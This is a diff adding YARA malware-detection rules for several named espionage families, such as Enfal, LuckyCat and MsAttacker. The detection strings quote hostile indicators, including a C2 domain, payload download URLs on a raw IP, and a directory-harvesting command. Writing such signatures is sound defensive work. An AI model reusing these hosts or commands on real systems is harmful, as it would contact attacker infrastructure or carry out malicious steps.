+        description = "Bangat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $lib1 = "DreatePipe"
+        $lib2 = "HetSystemDirectoryA"
+        $lib3 = "SeleaseMutex"
+        $lib4 = "DloseWindowStation"
+        $lib5 = "DontrolService"
+        $file = "~hhC2F~.tmp"
+        $mc = "~_MC_3~"
+
+    condition:
+       all of ($lib*) or $file or $mc
+}
+
+rule Bangat : Family
+{
+    meta:
+        description = "Bangat"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        BangatCode or BangatStrings
+}
+
+rule dubseven_file_set
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for service files loading UP007"
+    
+    strings:
+        $file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
+        $file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
+        $file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
+        $file4 = "\\Microsoft\\Internet Explorer\\main.dll"
+        $file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
+        $file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
+        $file7 = "\\Microsoft\\Internet Explorer\\mon"
+        $file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        //Just a few of these as they differ
+        3 of ($file*)
+}
+
+rule dubseven_dropper_registry_checks
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for registry keys checked for by the dropper"
+    
+    strings:
+        $reg1 = "SOFTWARE\\360Safe\\Liveup"
+        $reg2 = "Software\\360safe"
+        $reg3 = "SOFTWARE\\kingsoft\\Antivirus"
+        $reg4 = "SOFTWARE\\Avira\\Avira Destop"
+        $reg5 = "SOFTWARE\\rising\\RAV"
+        $reg6 = "SOFTWARE\\JiangMin"
+        $reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
+
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        all of ($reg*)
+}
+
+rule dubseven_dropper_dialog_remains
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for related dialog remnants. How rude."
+    
+    strings:
+        $dia1 = "fuckMessageBox 1.0" wide
+        $dia2 = "Rundll 1.0" wide
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        any of them
+}
+        
+
+rule maindll_mutex
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Matches on the maindll mutex"
+        
+    strings:
+        $mutex = "h31415927tttt"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $mutex
+}
+
+
+rule SLServer_dialog_remains
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for related dialog remnants."
+    
+    strings:
+        $slserver = "SLServer" wide
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $slserver
+}
+
+rule SLServer_mutex
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for the mutex."
+    
+    strings:
+        $mutex = "M&GX^DSF&DA@F"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $mutex
+}
+
+rule SLServer_command_and_control
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for the C2 server."
+    
+    strings:
+        $c2 = "safetyssl.security-centers.com"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $c2
+}
+
+rule SLServer_campaign_code
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for the related campaign code."
+    
+    strings:
+        $campaign = "wthkdoc0106"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $campaign
+}
+
+rule SLServer_unknown_string
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for a unique string."
+    
+    strings:
+        $string = "test-b7fa835a39"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $string
+}
+
+private rule BoousetCode : Boouset Family 
+{
+    meta:
+        description = "Boouset code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $boousetdat = { C6 ?? ?? ?? ?? 00 62 C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 75 }
+        
+    condition:
+        any of them
+}
+
+private rule BoousetStrings : Boouset Family
+{
+    meta:
+        description = "Boouset Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        //$1 = "Q\x00\x00\x00\x00W\x00\x00\x00\x00E\x00\x00\x00\x00R\x00\x00\x00\x00T\x00\x00\x00\x00Y\x00\x00\x00\x00"
+        //$2 = "A\x00\x00\x00\x00S\x00\x00\x00\x00D\x00\x00\x00\x00F\x00\x00\x00\x00G\x00\x00\x00\x00H"
+        //$3 = "Z\x00\x00\x00\x00X\x00\x00\x00\x00C\x00\x00\x00\x00V\x00\x00\x00\x00B\x00\x00\x00\x00N\x00\x00\x00\x00"
+        $4 = "\\~Z8314.tmp"
+        $5 = "hulee midimap" wide ascii
+        
+    condition:
+       any of them
+}
+
+rule Boouset : Family
+{
+    meta:
+        description = "Boouset"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        BoousetCode or BoousetStrings
+}
+
+private rule ComfooCode : Comfoo Family 
+{
+    meta:
+        description = "Comfoo code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $resource = { 6A 6C 6A 59 55 E8 01 FA FF FF }
+  
+    condition:
+        any of them
+}
+
+private rule ComfooStrings : Comfoo Family
+{
+    meta:
+        description = "Comfoo Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "fefj90"
+        $ = "iamwaitingforu653890"
+        $ = "watchevent29021803"
+        $ = "THIS324NEWGAME"
+        $ = "ms0ert.temp"
+        $ = "\\mstemp.temp"
+        
+    condition:
+       any of them
+}
+
+rule Comfoo : Family
+{
+    meta:
+        description = "Comfoo"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        ComfooCode or ComfooStrings
+}
+        
+        private rule CookiesStrings : Cookies Family
+{
+    meta:
+        description = "Cookies Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $zip1 = "ntdll.exePK"
+        $zip2 = "AcroRd32.exePK"
+        $zip3 = "Setup=ntdll.exe\x0d\x0aSilent=1\x0d\x0a"
+        $zip4 = "Setup=%temp%\\AcroRd32.exe\x0d\x0a"
+        $exe1 = "Leave GetCommand!"
+        $exe2 = "perform exe success!"
+        $exe3 = "perform exe failure!"
+        $exe4 = "Entry SendCommandReq!"
+        $exe5 = "Reqfile not exist!"
+        $exe6 = "LeaveDealUpfile!"
+        $exe7 = "Entry PostData!"
+        $exe8 = "Leave PostFile!"
+        $exe9 = "Entry PostFile!"
+        $exe10 = "\\unknow.zip" wide ascii
+        $exe11 = "the url no respon!"
+        
+    condition:
+      (2 of ($zip*)) or (2 of ($exe*))
+}
+
+rule Cookies : Family
+{
+    meta:
+        description = "Cookies"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        CookiesStrings
+}
+
+private rule cxpidCode : cxpid Family 
+{
+    meta:
+        description = "cxpid code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        $entryjunk = { 55 8B EC B9 38 04 00 00 6A 00 6A 00 49 75 F9 }
+    
+    condition:
+        any of them
+}
+
+private rule cxpidStrings : cxpid Family
+{
+    meta:
+        description = "cxpid Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "/cxpid/submit.php?SessionID="
+        $ = "/cxgid/"
+        $ = "E21BC52BEA2FEF26D005CF"
+        $ = "E21BC52BEA39E435C40CD8"
+        $ = "                   -,L-,O+,Q-,R-,Y-,S-"
+        
+    condition:
+       any of them
+}
+
+rule cxpid : Family
+{
+    meta:
+        description = "cxpid"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        cxpidCode or cxpidStrings
+}
+private rule EnfalCode : Enfal Family 
+{
+    meta:
+        description = "Enfal code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        // mov al, 20h; sub al, bl; add [ebx+esi], al; push esi; inc ebx; call edi; cmp ebx, eax
+        $decrypt = { B0 20 2A C3 00 04 33 56 43 FF D7 3B D8 }
+        
+    condition:
+        any of them
+}
+
+private rule EnfalStrings : Enfal Family
+{
+    meta:
+        description = "Enfal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "D:\\work\\\xe6\xba\x90\xe5\x93\xa5\xe5\x85\x8d\xe6\x9d\x80\\tmp\\Release\\ServiceDll.pdb"
+        $ = "e:\\programs\\LuridDownLoader"
+        $ = "LuridDownloader for Falcon"
+        $ = "DllServiceTrojan"
+        $ = "\\k\\\xe6\xa1\x8c\xe8\x9d\xa2\\"
+        $ = "EtenFalcon\xef\xbc\x88\xe4\xbf\xae\xe6\x94\xb9\xef\xbc\x89"
+        $ = "Madonna\x00Jesus"
+        $ = "/iupw82/netstate"
+        $ = "fuckNodAgain"
+        $ = "iloudermao"
+        $ = "Crpq2.cgi"
+        $ = "Clnpp5.cgi"
+        $ = "Dqpq3ll.cgi"
+        $ = "dieosn83.cgi"
+        $ = "Rwpq1.cgi"
+        $ = "/Ccmwhite"
+        $ = "/Cmwhite"
+        $ = "/Crpwhite"
+        $ = "/Dfwhite"
+        $ = "/Query.txt"
+        $ = "/Ufwhite"
+        $ = "/cgl-bin/Clnpp5.cgi"
+        $ = "/cgl-bin/Crpq2.cgi"
+        $ = "/cgl-bin/Dwpq3ll.cgi"
+        $ = "/cgl-bin/Owpq4.cgi"
+        $ = "/cgl-bin/Rwpq1.cgi"
+        $ = "/trandocs/mm/"
+        $ = "/trandocs/netstat"
+        $ = "NFal.exe"
+        $ = "LINLINVMAN"
+        $ = "7NFP4R9W"
+        
+    condition:
+        any of them
+}
+
+rule Enfal : Family
+{
+    meta:
+        description = "Enfal"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        EnfalCode or EnfalStrings
+}
+
+private rule EzcobStrings : Ezcob Family
+{
+    meta:
+        description = "Ezcob Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "\x12F\x12F\x129\x12E\x12A\x12E\x12B\x12A\x12-\x127\x127\x128\x123\x12"
+        $ = "\x121\x12D\x128\x123\x12B\x122\x12E\x128\x12-\x12B\x122\x123\x12D\x12"
+        $ = "Ezcob" wide ascii
+        $ = "l\x12i\x12u\x122\x120\x121\x123\x120\x124\x121\x126"
+        $ = "20110113144935"
+        
+    condition:
+       any of them
+}
+
+rule Ezcob : Family
+{
+    meta:
+        description = "Ezcob"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        EzcobStrings
+}
+
+private rule HTMLVariant : FakeM Family HTML Variant
+{
+	meta:
+		description = "Identifier for html variant of FAKEM"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		// decryption loop
+		$s1 = { 8B 55 08 B9 00 50 00 00 8D 3D ?? ?? ?? 00 8B F7 AD 33 C2 AB 83 E9 04 85 C9 75 F5 }
+		//mov byte ptr [ebp - x] y, x: 0x10-0x1 y: 0-9,A-F
+		$s2 = { C6 45 F? (3?|4?) }
+
+	condition:
+		$s1 and #s2 == 16
+
+}
+
+//todo: need rules for other variants
+rule FakeM : Family
+{
+	meta:
+		description = "FakeM"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-03"
+	
+	condition:
+		HTMLVariant
+
+
+}
+
+rule FAKEMhtml : Variant
+{
+	meta:
+		description = "Rule for just the HTML Variant"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-10"
+	
+	condition:
+		HTMLVariant
+}
+
+private rule FavoriteCode : Favorite Family 
+{
+    meta:
+        description = "Favorite code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // standard string hiding
+        $ = { C6 45 ?? 3B C6 45 ?? 27 C6 45 ?? 34 C6 45 ?? 75 C6 45 ?? 6B C6 45 ?? 6C C6 45 ?? 3B C6 45 ?? 2F }
+        $ = { C6 45 ?? 6F C6 45 ?? 73 C6 45 ?? 73 C6 45 ?? 76 C6 45 ?? 63 C6 45 ?? 65 C6 45 ?? 78 C6 45 ?? 65 }
+    
+    condition:
+        any of them
+}
+
+private rule FavoriteStrings : Favorite Family
+{
+    meta:
+        description = "Favorite Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $string1 = "!QAZ4rfv"
+        $file1 = "msupdater.exe"
+        $file2 = "FAVORITES.DAT"
+        
+    condition:
+       any of ($string*) or all of ($file*)
+}
+
+rule Favorite : Family
+{
+    meta:
+        description = "Favorite"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    condition:
+        FavoriteCode or FavoriteStrings
+}
+
+private rule IsRTF : RTF
+{
+    meta:
+        description = "Identifier for RTF files"
+        author = "Seth Hardy"
+        last_modified = "2014-05-05"
+        
+    strings:
+        $magic = /^\s*{\\rt/
+    
+    condition:
+        $magic
+}
+
+private rule IsOLE : OLE
+{
+    meta:
+        description = "Identifier for OLE files"
+        author = "Seth Hardy"
+        last_modified = "2014-05-06"
+        
+    strings:
+        $magic = {d0 cf 11 e0 a1 b1 1a e1}
+    
+    condition:
+        $magic at 0
+}
+
+private rule IsPE : PE 
+{
+	meta:
+		description = "Identifier for PE files"
+		last_modified = "2014-07-11"
+
+	strings:
+		$magic = { 5a 4d }
+
+	condition:
+		$magic at 0 and uint32(uint32(0x3C)) == 0x00004550
+}
+private rule GlassesCode : Glasses Family 
+{
+    meta:
+        description = "Glasses code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = { B8 AB AA AA AA F7 E1 D1 EA 8D 04 52 2B C8 }
+        $ = { B8 56 55 55 55 F7 E9 8B 4C 24 1C 8B C2 C1 E8 1F 03 D0 49 3B CA }
+        
+    condition:
+        any of them
+}
+
+private rule GlassesStrings : Glasses Family
+{
+    meta:
+        description = "Strings used by Glasses"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = "thequickbrownfxjmpsvalzydg"
+        $ = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0; %s.%s)"
+        $ = "\" target=\"NewRef\"></a>"
+ 
+    condition:
+        all of them
+
+}
+
+rule Glasses : Family
+{
+    meta:
+        description = "Glasses family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+   
+    condition:
+        GlassesCode or GlassesStrings
+        
+}
+private rule iexpl0reCode : iexpl0ree Family 
+{
+    meta:
+        description = "iexpl0re code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = { 47 83 FF 64 0F 8C 6D FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        $ = { 80 74 0D A4 44 41 3B C8 7C F6 68 04 01 00 00 }
+        $ = { 8A C1 B2 07 F6 EA 30 04 31 41 3B 4D 10 7C F1 }
+        $ = { 47 83 FF 64 0F 8C 79 FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        // 88h decrypt
+        $ = { 68 88 00 00 00 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        $ = { BB 88 00 00 00 53 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        
+    condition:
+        any of them
+}
+
+private rule iexpl0reStrings : iexpl0re Family
+{
+    meta:
+        description = "Strings used by iexpl0re"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = "%USERPROFILE%\\IEXPL0RE.EXE"
+        $ = "\"<770j (("
+        $ = "\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\IEXPL0RE.LNK"
+        $ = "\\Documents and Settings\\%s\\Application Data\\Microsoft\\Internet Explorer\\IEXPL0RE.EXE"
+        $ = "LoaderV5.dll"
+        // stage 2
+        $ = "POST /index%0.9d.asp HTTP/1.1"
+        $ = "GET /search?n=%0.9d&"
+        $ = "DUDE_AM_I_SHARP-3.14159265358979x6.626176"
+        $ = "WHO_A_R_E_YOU?2.99792458x1.25663706143592"
+        $ = "BASTARD_&&_BITCHES_%0.8x"
+        $ = "c:\\bbb\\eee.txt"
+        
+    condition:
+        any of them
+
+}
+
+rule iexpl0re : Family
+{
+    meta:
+        description = "iexpl0re family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+   
+    condition:
+        iexpl0reCode or iexpl0reStrings
+        
+}
+private rule IMulerCode : IMuler Family 
+{
+    meta:
+        description = "IMuler code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_tmpSpotlight = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 53 70 6F }
+        $L4_TMPAAABBB = { C7 ?? ?? ?? ?? ?? 54 4D 50 41 C7 ?? ?? ?? ?? ?? 41 41 42 42 }
+        $L4_FILEAGENTVer = { C7 ?? 46 49 4C 45 C7 ?? 04 41 47 45 4E }
+        $L4_TMP0M34JDF8 = { C7 ?? ?? ?? ?? ?? 54 4D 50 30 C7 ?? ?? ?? ?? ?? 4D 33 34 4A }
+        $L4_tmpmdworker = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 2E 6D 64 }
+        
+    condition:
+        any of ($L4*)
+}
+
+private rule IMulerStrings : IMuler Family
+{
+    meta:
+        description = "IMuler Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        $ = "/cgi-mac/"
+        $ = "xnocz1"
+        $ = "checkvir.plist"
+        $ = "/Users/apple/Documents/mac back"
+        $ = "iMuler2"
+        $ = "/Users/imac/Desktop/macback/"
+        $ = "xntaskz.gz"
+        $ = "2wmsetstatus.cgi"
+        $ = "launch-0rp.dat"
+        $ = "2wmupload.cgi"
+        $ = "xntmpz"
+        $ = "2wmrecvdata.cgi"
+        $ = "xnorz6"
+        $ = "2wmdelfile.cgi"
+        $ = "/LanchAgents/checkvir"
+        $ = "0PERA:%s"
+        $ = "/tmp/Spotlight"
+        $ = "/tmp/launch-ICS000"
+        
+    condition:
+        any of them
+}
+
+rule IMuler : Family
+{
+    meta:
+        description = "IMuler"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    condition:
+        IMulerCode or IMulerStrings
+}
+
+private rule Insta11Code : Insta11 Family 
+{
+    meta:
+        description = "Insta11 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        // jmp $+5; push 423h
+        $jumpandpush = { E9 00 00 00 00 68 23 04 00 00 }
+    
+    condition:
+        any of them
+}
+
+private rule Insta11Strings : Insta11 Family
+{
+    meta:
+        description = "Insta11 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "XTALKER7"
+        $ = "Insta11 Microsoft" wide ascii
+        $ = "wudMessage"
+        $ = "ECD4FC4D-521C-11D0-B792-00A0C90312E1"
+        $ = "B12AE898-D056-4378-A844-6D393FE37956"
+        
+    condition:
+       any of them
+}
+
+rule Insta11 : Family
+{
+    meta:
+        description = "Insta11"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        Insta11Code or Insta11Strings
+}
+
+private rule LuckyCatCode : LuckyCat Family 
+{
+    meta:
+        description = "LuckyCat code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xordecrypt = { BF 0F 00 00 00 F7 F7 ?? ?? ?? ?? 32 14 39 80 F2 7B }
+        $dll = { C6 ?? ?? ?? 64 C6 ?? ?? ?? 6C C6 ?? ?? ?? 6C }
+        $commonletters = { B? 63 B? 61 B? 73 B? 65 }
+        
+    condition:
+        $xordecrypt or ($dll and $commonletters)
+}
+
+private rule LuckyCatStrings : LuckyCat Family
+{
+    meta:
+        description = "LuckyCat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xorencrypted = { 77 76 75 7B 7A 79 78 7F 7E 7D 7C 73 72 71 70 }
+        $tempvbs = "%s\\~temp.vbs"
+        $countphp = "count.php\x00"
+        $trojanname = /WMILINK=.\*TrojanName=/
+        $tmpfile = "d0908076343423d3456.tmp"
+        $dirfile = "cmd /c dir /s /a C:\\\\ >'+tmpfolder+'\\\\C.tmp"
+        $ipandmac = "objIP.DNSHostName+'_'+objIP.MACAddress.split(':').join('')+'_'+addinf+'@')"
+        
+    condition:
+       any of them
+}
+
+rule LuckyCat : Family
+{
+    meta:
+        description = "LuckyCat"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        LuckyCatCode or LuckyCatStrings
+}
+private rule LURK0Header : Family LURK0 {
+	meta:
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = { C6 [5] 4C C6 [5] 55 C6 [5] 52 C6 [5] 4B C6 [5] 30 }
+
+	condition:
+		any of them
+}
+
+private rule CCTV0Header : Family CCTV0 {
+        meta:  
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+
+	strings:
+		//if its just one char a time
+		$ = { C6 [5] 43 C6 [5] 43 C6 [5] 54 C6 [5] 56 C6 [5] 30 }
+		// bit hacky but for when samples dont just simply mov 1 char at a time
+		$ = { B0 43 88 [3] 88 [3] C6 [3] 54 C6 [3] 56 [0-12] (B0 30 | C6 [3] 30) }
+
+	condition:
+		any of them
+}
+
+private rule SharedStrings : Family {
+	meta:
+		description = "Internal names found in LURK0/CCTV0 samples"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+	
+	strings:
+		// internal names
+		$i1 = "Butterfly.dll"
+		$i2 = /\\BT[0-9.]+\\ButterFlyDLL\\/
+		$i3 = "ETClientDLL"
+
+		// dbx
+		$d1 = "\\DbxUpdateET\\" wide
+		$d2 = "\\DbxUpdateBT\\" wide
+		$d3 = "\\DbxUpdate\\" wide
+		
+		// other folders
+		$mc1 = "\\Micet\\"
+
+		// embedded file names
+		$n1 = "IconCacheEt.dat" wide
+		$n2 = "IconConfigEt.dat" wide
+
+		$m1 = "\x00\x00ERXXXXXXX\x00\x00" wide
+		$m2 = "\x00\x00111\x00\x00" wide
+		$m3 = "\x00\x00ETUN\x00\x00" wide
+		$m4 = "\x00\x00ER\x00\x00" wide
+
+	condition:
+		any of them //todo: finetune this
+
+}
+
+rule LURK0 : Family LURK0 {
+	
+	meta:
+		description = "rule for lurk0"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+
+	condition:
+		LURK0Header and SharedStrings
+
+}
+
+rule CCTV0 : Family CCTV0 {
+
+	meta:
+		description = "rule for cctv0"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+
+	condition:
+		CCTV0Header and SharedStrings
+
+}
+private rule MacControlCode : MacControl Family 
+{
+    meta:
+        description = "MacControl code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_Accept = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 3A 20 }
+        $L4_AcceptLang = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 2D 4C }
+        $L4_Pragma = { C7 ?? 50 72 61 67 C7 ?? 04 6D 61 3A 20 }
+        $L4_Connection = { C7 ?? 43 6F 6E 6E C7 ?? 04 65 63 74 69 }
+        $GEThgif = { C7 ?? 47 45 54 20 C7 ?? 04 2F 68 2E 67 }
+        
+    condition:
+        all of ($L4*) or $GEThgif
+}
+
+private rule MacControlStrings : MacControl Family
+{
+    meta:
+        description = "MacControl Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        $ = "HTTPHeadGet"
+        $ = "/Library/launched"
+        $ = "My connect error with no ip!"
+        $ = "Send File is Failed"
+        $ = "****************************You Have got it!****************************"
+        
+    condition:
+        any of them
+}
+
+rule MacControl : Family
+{
+    meta:
+        description = "MacControl"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    condition:
+        MacControlCode or MacControlStrings
+}
+private rule MirageStrings : Mirage Family
+{
+    meta:
+        description = "Mirage Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "Neo,welcome to the desert of real." wide ascii
+        $ = "/result?hl=en&id=%s"
+        
+    condition:
+       any of them
+}
+
+rule Mirage : Family
+{
+    meta:
+        description = "Mirage"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        MirageStrings
+}
+
+private rule MongalCode : Mongal Family 
+{
+    meta:
+        description = "Mongal code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+    
+    strings:
+        // gettickcount value checking
+        $ = { 8B C8 B8 D3 4D 62 10 F7 E1 C1 EA 06 2B D6 83 FA 05 76 EB }
+        
+    condition:
+        any of them
+}
+
+private rule MongalStrings : Mongal Family
+{
+    meta:
+        description = "Mongal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+        
+    strings:
+        $ = "NSCortr.dll"
+        $ = "NSCortr1.dll"
+        $ = "Sina.exe"
+        
+    condition:
+        any of them
+}
+
+rule Mongal : Family
+{
+    meta:
+        description = "Mongal"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+        
+    condition:
+        MongalCode or MongalStrings
+}
+
+private rule MsAttackerStage2 : MsAttacker Family
+{
+	meta:
+		description = "Identifying strings for MsAttacker stage 2"
+		last_modified = "2015-03-12"
+	strings:
+		$ = "MiniJS.dll"
+		$ = "%s \"rundll32.exe %s RealService %s\" /f"
+		$ = "reg delete HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Start Pages\" /f"
+		$ = "3111431114311121270018000127001808012700180"
+		$ = "Global\\MSAttacker %d"
+	condition:
+		any of them
+}
+private rule MsAttackerStage1 : MsAttacker Family
+{
+	meta:
+		description = "Identifying strings for MsAttacker stage 1"
+		last_modified = "2015-03-12"
+
+	strings:
+		$ = "http://122.10.117.152/download/ms/CryptBase.32.cab"
+		$ = "http://122.10.117.152/download/ms/CryptBase.64.cab"
+		$ = "http://122.10.117.152/download/ms/MiniJS.dll"
+		$ = "MiniJS.dll"
+		$ = "%s;new Downloader('%s', '%s').Fire();"
+		$ = "rundll32.exe %s RealService %s"
+	condition:
+		any of them
+}
+
+rule MsAttacker : MsAttacker Family {
+	condition:
+		MsAttackerStage1 or MsAttackerStage2
+}
+
+private rule NaikonCode : Naikon Family 
+{
+    meta:
+        description = "Naikon code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 0F AF C1 C1 E0 1F } // imul eax, ecx; shl eah, 1fh
+        $ = { 35 5A 01 00 00} // xor eax, 15ah
+        $ = { 81 C2 7F 14 06 00 } // add edx, 6147fh
+    
+    condition:
+        all of them
+}
+
+private rule NaikonStrings : Naikon Family
+{
+    meta:
+        description = "Naikon Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "NOKIAN95/WEB"
+        $ = "/tag=info&id=15"
+        $ = "skg(3)=&3.2d_u1"
+        $ = "\\Temp\\iExplorer.exe"
+        $ = "\\Temp\\\"TSG\""
+        
+    condition:
+       any of them
+}
+
+rule Naikon : Family
+{
+    meta:
+        description = "Naikon"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        NaikonCode or NaikonStrings
+}
+
+private rule nAspyUpdateCode : nAspyUpdate Family 
+{
+    meta:
+        description = "nAspyUpdate code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop in dropper
+        $ = { 8A 54 24 14 8A 01 32 C2 02 C2 88 01 41 4E 75 F4 }
+        
+    condition:
+        any of them
+}
+
+private rule nAspyUpdateStrings : nAspyUpdate Family
+{
+    meta:
+        description = "nAspyUpdate Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $ = "\\httpclient.txt"
+        $ = "password <=14"
+        $ = "/%ldn.txt"
+        $ = "Kill You\x00"
+        
+    condition:
+        any of them
+}
+
+rule nAspyUpdate : Family
+{
+    meta:
+        description = "nAspyUpdate"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    condition:
+        nAspyUpdateCode or nAspyUpdateStrings
+}
+
+//will match both exe and dll components
